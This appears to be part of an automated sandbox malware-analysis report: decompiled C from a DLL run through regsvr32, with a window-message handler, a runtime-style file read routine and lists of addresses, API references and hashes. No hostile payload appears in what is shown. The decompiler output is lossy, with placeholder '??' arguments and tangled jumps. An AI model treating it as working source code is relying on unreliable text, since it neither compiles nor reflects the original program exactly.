								__eflags = r13d;
								if(r13d != 0) {
									goto L28;
								}
								__eflags = _t66 - 0x202;
								if(_t66 != 0x202) {
									__eflags =  *(_t72 + 0xd8) & 0x00000008;
									if(( *(_t72 + 0xd8) & 0x00000008) != 0) {
										L27:
										_t70 =  *_t72;
										 *((intOrPtr*)(_t70 + 0x2d0))();
										goto L31;
									}
									_t51 = GetKeyState();
									__eflags = _t51;
									if(_t51 < 0) {
										goto L27;
									}
									__eflags = _t106 -  *((intOrPtr*)(_t109 + 0x98));
									if(_t106 ==  *((intOrPtr*)(_t109 + 0x98))) {
										goto L31;
									}
									r8d = 0x12c;
									L26:
									E10024580();
									goto L31;
								}
								_t70 =  *_t72;
								 *((intOrPtr*)(_t70 + 0x2d0))();
								r8d = 0xc8;
								goto L26;
							}
						}
						__eflags = _t66 - 0x209;
						if(_t66 <= 0x209) {
							goto L10;
						}
						goto L9;
					}
					__eflags = _t66 - r13d;
					if(_t66 == r13d) {
						goto L7;
					}
					__eflags = _t66 - 0x202;
					if(_t66 != 0x202) {
						goto L32;
					}
					goto L7;
				}
				L1:
				return 1;
			}

0x10025238
0x10025238
0x10025238
0x10025238
0x10025238
0x10025238
0x10025238
0x10025238
0x10025238
0x10025248
0x1002524b
0x10025255
0x10025261
0x10025265
0x10025269
0x1002526c
0x10025272
0x10025278
0x10025278
0x1002527b
0x10025280
0x10025287
0x1002528d
0x10025290
0x100252a3
0x100252a3
0x100252a9
0x100252b3
0x100252b9
0x100252bc
0x1002541b
0x1002541e
0x10025423
0x10025426
0x10025431
0x10025431
0x10025434
0x1002545e
0x10025462
0x10025468
0x1002546a
0x10025479
0x10025479
0x00000000
0x10025479
0x00000000
0x00000000
0x00000000
0x00000000
0x10025436
0x10025436
0x10025436
0x1002543a
0x10025440
0x10025446
0x10025448
0x00000000
0x00000000
0x10025451
0x10025456
0x10025459
0x1002545c
0x00000000
0x00000000
0x00000000
0x1002545c
0x00000000
0x10025436
0x10025428
0x1002542f
0x00000000
0x00000000
0x00000000
0x1002542f
0x100252c2
0x100252c2
0x100252cb
0x100252d3
0x100252df
0x100252e2
0x100252ef
0x100252ef
0x100252f3
0x1002530b
0x10025313
0x1002531a
0x1002531f
0x10025323
0x10025326
0x10025328
0x10025328
0x1002532d
0x10025330
0x10025342
0x10025342
0x10025345
0x1002534b
0x10025351
0x10025357
0x1002535a
0x1002535c
0x1002535c
0x1002535a
0x00000000
0x10025332
0x10025332
0x10025338
0x00000000
0x00000000
0x1002533a
0x10025363
0x10025363
0x10025366
0x100253dd
0x100253e2
0x100253e8
0x100253eb
0x100253f2
0x100253f2
0x100253ff
0x1002540e
0x10025414
0x10025414
0x00000000
0x10025414
0x100253ed
0x100253f0
0x00000000
0x00000000
0x00000000
0x100253f0
0x10025368
0x1002536b
0x00000000
0x00000000
0x1002536d
0x10025373
0x10025395
0x1002539c
0x100253cc
0x100253cc
0x100253d5
0x00000000
0x100253d5
0x100253a3
0x100253a9
0x100253ac
0x00000000
0x00000000
0x100253ae
0x100253b5
0x00000000
0x00000000
0x100253bc
0x100253c2
0x100253c5
0x00000000
0x100253c5
0x10025375
0x10025382
0x1002538d
0x00000000
0x1002538d
0x10025330
0x100252ab
0x100252b1
0x00000000
0x00000000
0x00000000
0x100252b1
0x10025292
0x10025295
0x00000000
0x00000000
0x10025297
0x1002529d
0x00000000
0x00000000
0x00000000
0x1002529d
0x10025257
0x00000000

APIs

GetParent.USER32 ref: 10025272
ScreenToClient.USER32 ref: 100252E2
IsWindow.USER32 ref: 10025462

Strings

, xrefs: 10025280
8, xrefs: 1002530B

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ClientParentScreenWindow
String ID: $8
API String ID: 329865726-518440650
Opcode ID: 5c505de3e75d5efa80dd5fdfc55d8ceb83bfe90c27563b7926f9292eae9ef405
Instruction ID: 9db3c78a7a356cd53cd59ea55ae8f2b432a24354f79981a7e8e010ff881c1b78
Opcode Fuzzy Hash: 5c505de3e75d5efa80dd5fdfc55d8ceb83bfe90c27563b7926f9292eae9ef405
Instruction Fuzzy Hash: EA51BE26301A8182DB14EB22F84475D73A0FB89FEAF855222DD6F0B395DE7AC5C58304

Uniqueness

Uniqueness Score: -1.00%

Function 1004E0F0 Relevance: 12.5, APIs: 8, Instructions: 541
fileCOMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 64%

			E1004E0F0(void* __eax, signed int __ecx, signed int __edi, void* __ebp, long long __rbx, signed int __rdx, long long __rdi, long long __rsi, long long __r12, long long __r13, long long __r14, long long __r15) {
				signed int _t259;
				signed char _t260;
				signed char _t262;
				signed int _t265;
				long _t266;
				signed int _t272;
				signed int _t274;
				signed int _t278;
				signed int _t279;
				signed int _t281;
				signed int _t286;
				signed int _t289;
				signed int _t290;
				signed int _t293;
				signed int _t295;
				signed int _t298;
				signed char _t305;
				signed int _t314;
				unsigned int _t315;
				signed int _t320;
				signed int _t324;
				signed int _t329;
				signed int _t330;
				signed int _t331;
				signed int _t336;
				signed int _t338;
				signed int _t344;
				signed int _t346;
				signed int _t356;
				signed int _t357;
				signed int _t358;
				signed char* _t359;
				signed int _t360;
				void* _t364;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t378;
				signed int* _t384;
				signed int* _t385;
				signed int _t390;
				signed char* _t392;
				void* _t398;
				signed char* _t399;
				signed long long _t400;
				signed long long _t401;
				long long _t403;
				void* _t404;
				void* _t405;
				void* _t407;
				signed int _t413;
				signed long long _t417;
				long long _t419;

				_t419 = __r14;
				_t396 = __rsi;
				_t376 = __rdx;
				_t354 = __rbx;
				_t344 = __edi;
				_t255 = __eax;
				 *((long long*)(_t404 + 0x10)) = __rdx;
				 *((intOrPtr*)(_t404 + 8)) = __ecx;
				 *((long long*)(_t404 + 0x98)) = __rbx;
				 *((long long*)(_t404 + 0x60)) = __rdi;
				_t352 = __ecx;
				 *((long long*)(_t404 + 0x48)) = __r14;
				_t314 = r8d;
				 *(_t404 + 0x38) = r8d;
				if(__eax != __edi) {
					__eflags = __ecx;
					if(__ecx < 0) {
						L139:
						E10032450(_t352);
						r14d = 0;
						 *_t352 = r14d;
						E10032420(_t352);
						r9d = 0;
						r8d = 0;
						 *_t352 = 9;
						 *((long long*)(_t404 + 0x20)) = _t419;
						E10034370(_t354, _t364, _t376, 0xfffffffe, _t396, _t400, _t405);
						_t254 = _t419 - 1; // -1
						_t259 = _t254;
						goto L20;
					}
					__eflags = _t255 -  *0x100b8b10; // 0x20
					if(__eflags >= 0) {
						goto L139;
					}
					 *(_t404 + 0x70) = _t400;
					bpl = __eax;
					 *((long long*)(_t404 + 0x50)) = __r13;
					_t406 = 0x10000000;
					_t417 = __ecx >> 5;
					_t401 = _t400 << 6;
					_t365 =  *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8));
					_t260 =  *(_t365 + _t401 + 8) & 0x000000ff;
					__eflags = _t260 & 0x00000001;
					if((_t260 & 0x00000001) != 0) {
						r14d = 0;
						__eflags = _t314;
						 *((long long*)(_t404 + 0x68)) = __rsi;
						_t346 = r14d;
						if(_t314 == 0) {
							L138:
							_t259 = 0;
							L18:
							goto L19;
						}
						__eflags = _t260 & 0x00000002;
						if((_t260 & 0x00000002) != 0) {
							goto L138;
						}
						__eflags = __rdx;
						if(__rdx != 0) {
							 *((long long*)(_t404 + 0x58)) = __r12;
							 *((long long*)(_t404 + 0x40)) = __r15;
							r15d =  *(_t365 + _t401 + 0x38) & 0x000000ff;
							r15b = r15b + r15b;
							r15b = r15b >> 1;
							_t320 = r15b - 1;
							__eflags = _t320;
							if(_t320 == 0) {
								_t262 =  !_t314;
								__eflags = _t262 & 0x00000001;
								if((_t262 & 0x00000001) != 0) {
									_t315 = _t314 >> 1;
									__eflags = _t315 - 4;
									_t314 =  <  ? 4 : _t315;
									E10038810(_t314, __ecx, __rbx, _t365, 0xfffffffe, __rsi, _t401);
									__eflags = _t352;
									_t413 = _t352;
									if(_t352 != 0) {
										_t406 = 0x10000000;
										L24:
										_t353 =  *((intOrPtr*)(_t406 + 0xb8b20 + _t417 * 8));
										__eflags = _t353[_t401 + 8] & 0x00000048;
										if((_t353[_t401 + 8] & 0x00000048) != 0) {
											_t329 = _t353[_t401 + 9] & 0x000000ff;
											__eflags = _t329 - 0xa;
											if(_t329 != 0xa) {
												__eflags = _t314;
												if(_t314 != 0) {
													 *_t413 = _t329;
													_t353 =  *((intOrPtr*)(_t406 + 0xb8b20 + _t417 * 8));
													_t314 = _t314 + 0xffffffff;
													__eflags = r15b;
													_t56 = _t413 + 1; // 0x1
													_t384 = _t56;
													_t346 = 1;
													_t353[_t401 + 9] = 0xa;
													if(r15b != 0) {
														_t353 =  *((intOrPtr*)(_t406 + 0xb8b20 + _t417 * 8));
														_t330 = _t353[_t401 + 0x39] & 0x000000ff;
														__eflags = _t330 - 0xa;
														if(_t330 != 0xa) {
															__eflags = _t314;
															if(_t314 != 0) {
																 *_t384 = _t330;
																_t353 =  *((intOrPtr*)(_t406 + 0xb8b20 + _t417 * 8));
																_t385 = _t384 + _t396;
																_t314 = _t314 + 0xffffffff;
																__eflags = r15b - 1;
																_t346 = 2;
																_t353[_t401 + 0x39] = 0xa;
																if(r15b == 1) {
																	_t353 =  *((intOrPtr*)(_t406 + 0xb8b20 + _t417 * 8));
																	_t331 = _t353[_t401 + 0x3a] & 0x000000ff;
																	__eflags = _t331 - 0xa;
																	if(_t331 != 0xa) {
																		__eflags = _t314;
																		if(_t314 != 0) {
																			 *_t385 = _t331;
																			_t353 =  *((intOrPtr*)(_t406 + 0xb8b20 + _t417 * 8));
																			_t346 = 3;
																			_t314 = _t314 + 0xffffffff;
																			__eflags = _t314;
																			_t353[_t401 + 0x3a] = 0xa;
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
										r8d = _t314;
										_t367 =  *((intOrPtr*)( *((intOrPtr*)(_t406 + 0xb8b20 + _t417 * 8)) + _t401));
										 *((long long*)(_t404 + 0x20)) = _t419;
										_t265 = ReadFile(??, ??, ??, ??, ??);
										__eflags = _t265;
										if(_t265 == 0) {
											L127:
											_t266 = GetLastError();
											__eflags = _t266 - 5;
											if(_t266 != 5) {
												__eflags = _t266 - 0x6d;
												if(_t266 != 0x6d) {
													E10032480(_t266, _t353);
													_t403 =  *((intOrPtr*)(_t404 + 0x88));
													_t344 = 0xffffffff;
												} else {
													_t403 =  *((intOrPtr*)(_t404 + 0x88));
													_t344 = r14d;
												}
											} else {
												E10032420(_t353);
												 *_t353 = 9;
												E10032450(_t353);
												_t403 =  *((intOrPtr*)(_t404 + 0x88));
												 *_t353 = 5;
												_t344 = 0xffffffff;
											}
											L135:
											__eflags = _t413 - _t403;
											if(_t413 != _t403) {
												E1002E330(_t353, _t413);
											}
											__eflags = _t344 - 0xfffffffe;
											_t345 =  ==  ? _t346 : _t344;
											_t259 =  ==  ? _t346 : _t344;
											goto L17;
										}
										_t378 =  *((intOrPtr*)(_t404 + 0x34));
										__eflags = _t336;
										if(_t336 < 0) {
											goto L127;
										}
										__eflags = _t378 - _t353;
										if(_t378 > _t353) {
											goto L127;
										}
										_t407 = 0x10000000;
										_t346 = _t346 + _t336;
										_t353 =  *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8));
										__eflags = _t353[_t401 + 8] & 0x00000080;
										if((_t353[_t401 + 8] & 0x00000080) == 0) {
											_t403 =  *((intOrPtr*)(_t404 + 0x88));
											goto L135;
										}
										__eflags = r15b - 2;
										if(r15b == 2) {
											__eflags = _t336;
											if(_t336 == 0) {
												L97:
												_t186 =  &(_t353[_t401 + 8]);
												 *_t186 = _t353[_t401 + 8] & 0x000000fb;
												__eflags =  *_t186;
												L98:
												_t353 = _t346;
												_t356 = _t413;
												_t390 = _t413;
												_t398 = _t346 + _t413;
												__eflags = _t413 - _t398;
												if(_t413 >= _t398) {
													L126:
													_t403 =  *((intOrPtr*)(_t404 + 0x88));
													_t346 = _t314 - r12d;
													goto L135;
												}
												while(1) {
													_t272 =  *_t390 & 0x0000ffff;
													__eflags = _t272 - 0x1a;
													if(_t272 == 0x1a) {
														break;
													}
													__eflags = _t272 - 0xd;
													if(_t272 == 0xd) {
														_t191 = _t398 - 2; // -2
														_t353 = _t191;
														__eflags = _t390 - _t191;
														if(_t390 >= _t191) {
															r8d = 2;
															_t390 = _t390 + 2;
															 *((long long*)(_t404 + 0x20)) = _t419;
															_t274 = ReadFile(??, ??, ??, ??, ??);
															__eflags = _t274;
															if(_t274 != 0) {
																L109:
																__eflags =  *((intOrPtr*)(_t404 + 0x34)) - r14d;
																if( *((intOrPtr*)(_t404 + 0x34)) == r14d) {
																	L119:
																	 *_t356 = 0xd;
																	_t356 = _t356 + 2;
																	_t407 = 0x10000000;
																	L121:
																	__eflags = _t390 - _t398;
																	if(_t390 < _t398) {
																		continue;
																	}
																	goto L126;
																}
																_t407 = 0x10000000;
																_t353 =  *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8));
																__eflags = _t353[_t401 + 8] & 0x00000048;
																if((_t353[_t401 + 8] & 0x00000048) == 0) {
																	__eflags = _t356 - _t413;
																	if(__eflags != 0) {
																		L117:
																		r8d = 1;
																		E10044670(_t314,  *((intOrPtr*)(_t404 + 0x80)), _t336, __eflags, _t353, _t356, 0xfffffffe, _t390, _t398, _t401, _t407);
																		__eflags =  *(_t404 + 0x30) - 0xa;
																		if( *(_t404 + 0x30) == 0xa) {
																			_t407 = 0x10000000;
																		} else {
																			 *_t356 = 0xd;
																			_t356 = _t356 + 2;
																			_t407 = 0x10000000;
																		}
																		goto L121;
																	}
																	__eflags =  *(_t404 + 0x30) - 0xa;
																	if(__eflags != 0) {
																		goto L117;
																	}
																	 *_t356 = 0xa;
																	_t356 = _t356 + 2;
																	goto L121;
																}
																__eflags =  *(_t404 + 0x30) - 0xa;
																if( *(_t404 + 0x30) != 0xa) {
																	 *_t356 = 0xd;
																	 *((char*)( *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8)) + _t401 + 9)) =  *(_t404 + 0x30) & 0x000000ff;
																	 *((char*)( *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8)) + _t401 + 0x39)) =  *(_t404 + 0x31) & 0x000000ff;
																	_t353 =  *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8));
																	_t356 = _t356 + 2;
																	 *((char*)( *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8)) + _t401 + 0x3a)) = 0xa;
																} else {
																	 *_t356 = 0xa;
																	_t356 = _t356 + 2;
																}
																goto L121;
															}
															_t278 = GetLastError();
															__eflags = _t278;
															if(_t278 != 0) {
																goto L119;
															}
															goto L109;
														}
														__eflags =  *(_t390 + 2) - 0xa;
														_t193 = _t390 + 2; // 0x2
														_t353 = _t193;
														if( *(_t390 + 2) != 0xa) {
															 *_t356 = 0xd;
															_t356 = _t356 + 2;
															_t390 = _t353;
														} else {
															_t390 = _t390 + 4;
															 *_t356 = 0xa;
															_t356 = _t356 + 2;
														}
														goto L121;
													}
													 *_t356 = _t272;
													_t356 = _t356 + 2;
													_t390 = _t390 + 2;
													goto L121;
												}
												_t353 =  *((intOrPtr*)(_t407 + 0xb8b20 + _t417 * 8));
												__eflags = _t353[_t401 + 8] & 0x00000040;
												if((_t353[_t401 + 8] & 0x00000040) != 0) {
													_t357 = _t356 + 2;
													__eflags = _t357;
													 *((short*)(_t357 - 2)) =  *_t390 & 0x0000ffff;
												} else {
													_t353[_t401 + 8] = _t353[_t401 + 8] | 0x00000002;
												}
												goto L126;
											}
											__eflags =  *_t413 - 0xa;
											if( *_t413 != 0xa) {
												goto L97;
											}
											_t353[_t401 + 8] = _t353[_t401 + 8] | 0x00000004;
											goto L98;
										}
										__eflags = _t336;
										if(_t336 == 0) {
											L42:
											_t98 =  &(_t353[_t401 + 8]);
											 *_t98 = _t353[_t401 + 8] & 0x000000fb;
											__eflags =  *_t98;
											L43:
											_t353 = _t346;
											_t358 = _t413;
											_t392 = _t413;
											_t399 =  &(_t353[_t413]);
											__eflags = _t413 - _t399;
											if(_t413 >= _t399) {
												L71:
												_t346 = _t314 - r12d;
												__eflags = r15b - 1;
												if(r15b != 1) {
													_t403 =  *((intOrPtr*)(_t404 + 0x88));
													goto L135;
												}
												__eflags = _t346;
												if(_t346 == 0) {
													_t403 =  *((intOrPtr*)(_t404 + 0x88));
													goto L135;
												}
												_t279 =  *(_t358 - 1);
												_t359 = _t358 - 1;
												__eflags = _t279;
												if(_t279 < 0) {
													_t338 = 1;
													__eflags = _t353[_t407 + 0xb31c0] - r14b;
													if(_t353[_t407 + 0xb31c0] != r14b) {
														L80:
														_t324 =  *_t359 & 0x000000ff;
														_t281 =  *((char*)(_t367 + _t407 + 0xb31c0));
														__eflags = _t281;
														if(_t281 != 0) {
															__eflags = _t281 + 1 - _t338;
															if(_t281 + 1 != _t338) {
																_t353 =  *((intOrPtr*)(_t407 + 0xb8b20 + _t417 * 8));
																__eflags = _t353[_t401 + 8] & 0x00000048;
																if(__eflags == 0) {
																	r8d = 1;
																	E10044670(_t314,  *((intOrPtr*)(_t404 + 0x80)),  ~_t338, __eflags, _t353, _t359,  ~_t338, _t392, _t399, _t401, _t407);
																} else {
																	_t360 =  &(_t359[1]);
																	__eflags = _t338 - 2;
																	_t353[_t401 + 9] = _t324;
																	if(_t338 >= 2) {
																		_t290 =  *_t360 & 0x000000ff;
																		_t360 = _t360 + 1;
																		__eflags = _t360;
																		 *( *((intOrPtr*)(_t407 + 0xb8b20 + _t417 * 8)) + _t401 + 0x39) = _t290;
																	}
																	__eflags = _t338 - 3;
																	if(_t338 == 3) {
																		_t289 =  *_t360 & 0x000000ff;
																		__eflags = _t360;
																		 *( *((intOrPtr*)(_t407 + 0xb8b20 + _t417 * 8)) + _t401 + 0x3a) = _t289;
																	}
																	_t353 = _t338;
																}
															} else {
																_t353 = _t338;
															}
															L91:
															_t403 =  *((intOrPtr*)(_t404 + 0x88));
															r9d = _t314 - r12d;
															 *(_t404 + 0x28) =  *(_t404 + 0x38) >> 1;
															 *((long long*)(_t404 + 0x20)) = _t403;
															_t286 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
															__eflags = _t286;
															_t346 = _t286;
															if(_t286 != 0) {
																_t346 = _t346 + _t346;
															} else {
																E10032480(GetLastError(), _t353);
																_t181 = _t399 - 1; // -1
																_t344 = _t181;
															}
															goto L135;
														}
														E10032420(_t353);
														_t403 =  *((intOrPtr*)(_t404 + 0x88));
														_t344 = 0xffffffff;
														 *_t353 = 0x2a;
														goto L135;
													}
													while(1) {
														__eflags = _t338 - 4;
														if(_t338 > 4) {
															goto L80;
														}
														__eflags = _t359 - _t413;
														if(_t359 < _t413) {
															goto L80;
														}
														_t359 = _t359 - 1;
														_t338 = _t338 + 1;
														__eflags = _t353[_t407 + 0xb31c0] - r14b;
														if(_t353[_t407 + 0xb31c0] == r14b) {
															continue;
														}
														goto L80;
													}
													goto L80;
												}
												goto L91;
											} else {
												while(1) {
													_t293 =  *_t392 & 0x000000ff;
													__eflags = _t293 - 0x1a;
													if(_t293 == 0x1a) {
														break;
													}
													__eflags = _t293 - 0xd;
													if(_t293 == 0xd) {
														_t103 = _t399 - 1; // -1
														_t353 = _t103;
														__eflags = _t392 - _t353;
														if(_t392 >= _t353) {
															_t367 =  *((intOrPtr*)( *((intOrPtr*)(_t407 + 0xb8b20 + _t417 * 8)) + _t401));
															r8d = 1;
															_t392 =  &(_t392[1]);
															 *((long long*)(_t404 + 0x20)) = _t419;
															_t295 = ReadFile(??, ??, ??, ??, ??);
															__eflags = _t295;
															if(_t295 != 0) {
																L54:
																__eflags =  *((intOrPtr*)(_t404 + 0x34)) - r14d;
																if( *((intOrPtr*)(_t404 + 0x34)) == r14d) {
																	L64:
																	 *_t358 = 0xd;
																	_t358 = _t358 + 1;
																	_t407 = 0x10000000;
																	goto L66;
																}
																_t407 = 0x10000000;
																_t353 =  *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8));
																__eflags = _t353[_t401 + 8] & 0x00000048;
																if((_t353[_t401 + 8] & 0x00000048) == 0) {
																	__eflags = _t358 - _t413;
																	if(__eflags != 0) {
																		L62:
																		r8d = 1;
																		E10044670(_t314,  *((intOrPtr*)(_t404 + 0x80)), _t336, __eflags, _t353, _t358, 0xffffffff, _t392, _t399, _t401, _t407);
																		__eflags =  *(_t404 + 0x90) - 0xa;
																		if( *(_t404 + 0x90) == 0xa) {
																			_t407 = 0x10000000;
																		} else {
																			 *_t358 = 0xd;
																			_t358 = _t358 + 1;
																			_t407 = 0x10000000;
																		}
																		goto L66;
																	}
																	__eflags =  *(_t404 + 0x90) - 0xa;
																	if(__eflags != 0) {
																		goto L62;
																	}
																	 *_t358 = 0xa;
																	_t358 = _t358 + 1;
																	goto L66;
																}
																__eflags =  *(_t404 + 0x90) - 0xa;
																if( *(_t404 + 0x90) != 0xa) {
																	 *_t358 = 0xd;
																	_t367 =  *((intOrPtr*)(0x10000000 + 0xb8b20 + _t417 * 8));
																	 *((char*)(_t367 + _t401 + 9)) =  *(_t404 + 0x90) & 0x000000ff;
																	_t358 = _t358 + 1;
																} else {
																	 *_t358 = 0xa;
																	_t358 = _t358 + 1;
																}
																goto L66;
															}
															_t298 = GetLastError();
															__eflags = _t298;
															if(_t298 != 0) {
																goto L64;
															}
															goto L54;
														} else {
															__eflags = _t392[1] - 0xa;
															_t105 =  &(_t392[1]); // 0x1
															_t353 = _t105;
															if(_t392[1] != 0xa) {
																 *_t358 = 0xd;
																_t358 = _t358 + 1;
																_t392 = _t353;
															} else {
																_t392 =  &(_t392[2]);
																 *_t358 = 0xa;
																_t358 = _t358 + 1;
															}
															goto L66;
														}
													} else {
														 *_t358 = _t293;
														_t358 = _t358 + 1;
														_t392 =  &(_t392[1]);
														L66:
														__eflags = _t392 - _t399;
														if(_t392 < _t399) {
															continue;
														}
														goto L71;
													}
												}
												_t353 =  *((intOrPtr*)(_t407 + 0xb8b20 + _t417 * 8));
												__eflags = _t353[_t401 + 8] & 0x00000040;
												if((_t353[_t401 + 8] & 0x00000040) != 0) {
													_t358 = _t358 + 1;
													__eflags = _t358;
													 *(_t358 - 1) =  *_t392 & 0x000000ff;
												} else {
													_t353[_t401 + 8] = _t353[_t401 + 8] | 0x00000002;
												}
												goto L71;
											}
										}
										__eflags =  *_t413 - 0xa;
										if( *_t413 != 0xa) {
											goto L42;
										} else {
											_t353[_t401 + 8] = _t353[_t401 + 8] | 0x00000004;
											goto L43;
										}
									} else {
										E10032420(_t352);
										 *_t352 = 0xc;
										E10032450(_t352);
										 *_t352 = 8;
										_t42 = _t413 - 1; // -1
										_t259 = _t42;
										L17:
										goto L18;
									}
								}
								L16:
								E10032450(_t352);
								 *_t352 = r14d;
								E10032420(_t352);
								r9d = 0;
								r8d = 0;
								__eflags = 0;
								 *_t352 = 0x16;
								 *((long long*)(_t404 + 0x20)) = _t419;
								E10034370(_t354, _t365, _t376, 0xfffffffe, _t396, _t401, _t406);
								_t259 = 0xffffffff;
								goto L17;
							}
							__eflags = _t320 != 1;
							if(_t320 != 1) {
								L14:
								_t413 = _t376;
								goto L24;
							}
							_t305 =  !_t314;
							__eflags = _t305 & 0x00000001;
							if((_t305 & 0x00000001) == 0) {
								goto L16;
							} else {
								_t314 = _t314 & 0xfffffffe;
								__eflags = _t314;
								goto L14;
							}
						} else {
							E10032450(__ecx);
							 *__ecx = r14d;
							E10032420(__ecx);
							r9d = 0;
							r8d = 0;
							 *__ecx = 0x16;
							 *((long long*)(_t404 + 0x20)) = __r14;
							E10034370(__rbx, _t365, __rdx, 0xfffffffe, __rsi, _t401, 0x10000000);
							_t24 = _t419 - 1; // -1
							_t259 = _t24;
							goto L18;
						}
					} else {
						E10032450(__ecx);
						r14d = 0;
						 *__ecx = r14d;
						E10032420(__ecx);
						r9d = 0;
						r8d = 0;
						 *__ecx = 9;
						 *((long long*)(_t404 + 0x20)) = __r14;
						E10034370(__rbx, _t365, __rdx, 0xfffffffe, __rsi, _t401, 0x10000000);
						_t19 = _t419 - 1; // -1
						_t259 = _t19;
						L19:
						goto L20;
					}
				} else {
					E10032450(__ecx);
					r14d = 0;
					 *__ecx = r14d;
					E10032420(__ecx);
					 *__ecx = 9;
					_t259 = 0xffffffffffffffff;
					L20:
					return _t259;
				}
			}

0x1004e0f0
0x1004e0f0
0x1004e0f0
0x1004e0f0
0x1004e0f0
0x1004e0f0
0x1004e0f0
0x1004e0f5
0x1004e0fd
0x1004e105
0x1004e10a
0x1004e114
0x1004e119
0x1004e11e
0x1004e123
0x1004e143
0x1004e145
0x1004e980
0x1004e980
0x1004e985
0x1004e988
0x1004e98b
0x1004e990
0x1004e993
0x1004e99a
0x1004e9a0
0x1004e9a5
0x1004e9aa
0x1004e9aa
0x00000000
0x1004e9aa
0x1004e14b
0x1004e151
0x00000000
0x00000000
0x1004e157
0x1004e15c
0x1004e15f
0x1004e16a
0x1004e171
0x1004e175
0x1004e179
0x1004e181
0x1004e186
0x1004e188
0x1004e1bd
0x1004e1c0
0x1004e1c2
0x1004e1c7
0x1004e1ca
0x1004e979
0x1004e979
0x1004e27f
0x00000000
0x1004e27f
0x1004e1d0
0x1004e1d2
0x00000000
0x00000000
0x1004e1d8
0x1004e1db
0x1004e20a
0x1004e20f
0x1004e214
0x1004e21a
0x1004e21d
0x1004e224
0x1004e224
0x1004e227
0x1004e243
0x1004e245
0x1004e247
0x1004e2aa
0x1004e2ac
0x1004e2ae
0x1004e2b3
0x1004e2b8
0x1004e2bb
0x1004e2be
0x1004e2dd
0x1004e2e4
0x1004e2e4
0x1004e2ef
0x1004e2f4
0x1004e2fa
0x1004e2ff
0x1004e302
0x1004e308
0x1004e30a
0x1004e310
0x1004e314
0x1004e31c
0x1004e31f
0x1004e322
0x1004e322
0x1004e327
0x1004e32c
0x1004e331
0x1004e333
0x1004e33b
0x1004e340
0x1004e343
0x1004e345
0x1004e347
0x1004e349
0x1004e34b
0x1004e353
0x1004e356
0x1004e359
0x1004e35d
0x1004e362
0x1004e367
0x1004e369
0x1004e371
0x1004e376
0x1004e379
0x1004e37b
0x1004e37d
0x1004e37f
0x1004e381
0x1004e38d
0x1004e392
0x1004e392
0x1004e395
0x1004e395
0x1004e37d
0x1004e379
0x1004e367
0x1004e347
0x1004e343
0x1004e331
0x1004e30a
0x1004e302
0x1004e3a7
0x1004e3aa
0x1004e3ae
0x1004e3b3
0x1004e3b9
0x1004e3bb
0x1004e8dd
0x1004e8dd
0x1004e8e3
0x1004e8e6
0x1004e90d
0x1004e910
0x1004e921
0x1004e926
0x1004e92e
0x1004e912
0x1004e912
0x1004e91a
0x1004e91a
0x1004e8e8
0x1004e8e8
0x1004e8ed
0x1004e8f3
0x1004e8f8
0x1004e900
0x1004e906
0x1004e906
0x1004e95f
0x1004e95f
0x1004e962
0x1004e967
0x1004e967
0x1004e96c
0x1004e96f
0x1004e972
0x00000000
0x1004e972
0x1004e3c1
0x1004e3c6
0x1004e3c8
0x00000000
0x00000000
0x1004e3d0
0x1004e3d3
0x00000000
0x00000000
0x1004e3d9
0x1004e3e0
0x1004e3e2
0x1004e3ea
0x1004e3ef
0x1004e957
0x00000000
0x1004e957
0x1004e3f5
0x1004e3f9
0x1004e6f7
0x1004e6f9
0x1004e70a
0x1004e70a
0x1004e70a
0x1004e70a
0x1004e70f
0x1004e70f
0x1004e712
0x1004e715
0x1004e718
0x1004e71c
0x1004e71f
0x1004e8c4
0x1004e8c4
0x1004e8d5
0x00000000
0x1004e8d5
0x1004e730
0x1004e730
0x1004e733
0x1004e737
0x00000000
0x00000000
0x1004e73d
0x1004e741
0x1004e753
0x1004e753
0x1004e757
0x1004e75a
0x1004e7a0
0x1004e7a6
0x1004e7aa
0x1004e7af
0x1004e7b5
0x1004e7b7
0x1004e7c7
0x1004e7c7
0x1004e7cc
0x1004e87f
0x1004e87f
0x1004e884
0x1004e888
0x1004e898
0x1004e898
0x1004e89b
0x00000000
0x00000000
0x00000000
0x1004e8a1
0x1004e7d2
0x1004e7d9
0x1004e7e1
0x1004e7e6
0x1004e838
0x1004e83b
0x1004e850
0x1004e857
0x1004e860
0x1004e865
0x1004e86b
0x1004e891
0x1004e86d
0x1004e86d
0x1004e872
0x1004e876
0x1004e876
0x00000000
0x1004e86b
0x1004e83d
0x1004e843
0x00000000
0x00000000
0x1004e845
0x1004e84a
0x00000000
0x1004e84a
0x1004e7e8
0x1004e7ee
0x1004e7fe
0x1004e810
0x1004e821
0x1004e825
0x1004e82d
0x1004e831
0x1004e7f0
0x1004e7f0
0x1004e7f5
0x1004e7f5
0x00000000
0x1004e7ee
0x1004e7b9
0x1004e7bf
0x1004e7c1
0x00000000
0x00000000
0x00000000
0x1004e7c1
0x1004e75c
0x1004e761
0x1004e761
0x1004e765
0x1004e779
0x1004e77e
0x1004e782
0x1004e767
0x1004e767
0x1004e76b
0x1004e770
0x1004e770
0x00000000
0x1004e765
0x1004e743
0x1004e746
0x1004e74a
0x00000000
0x1004e74a
0x1004e8a3
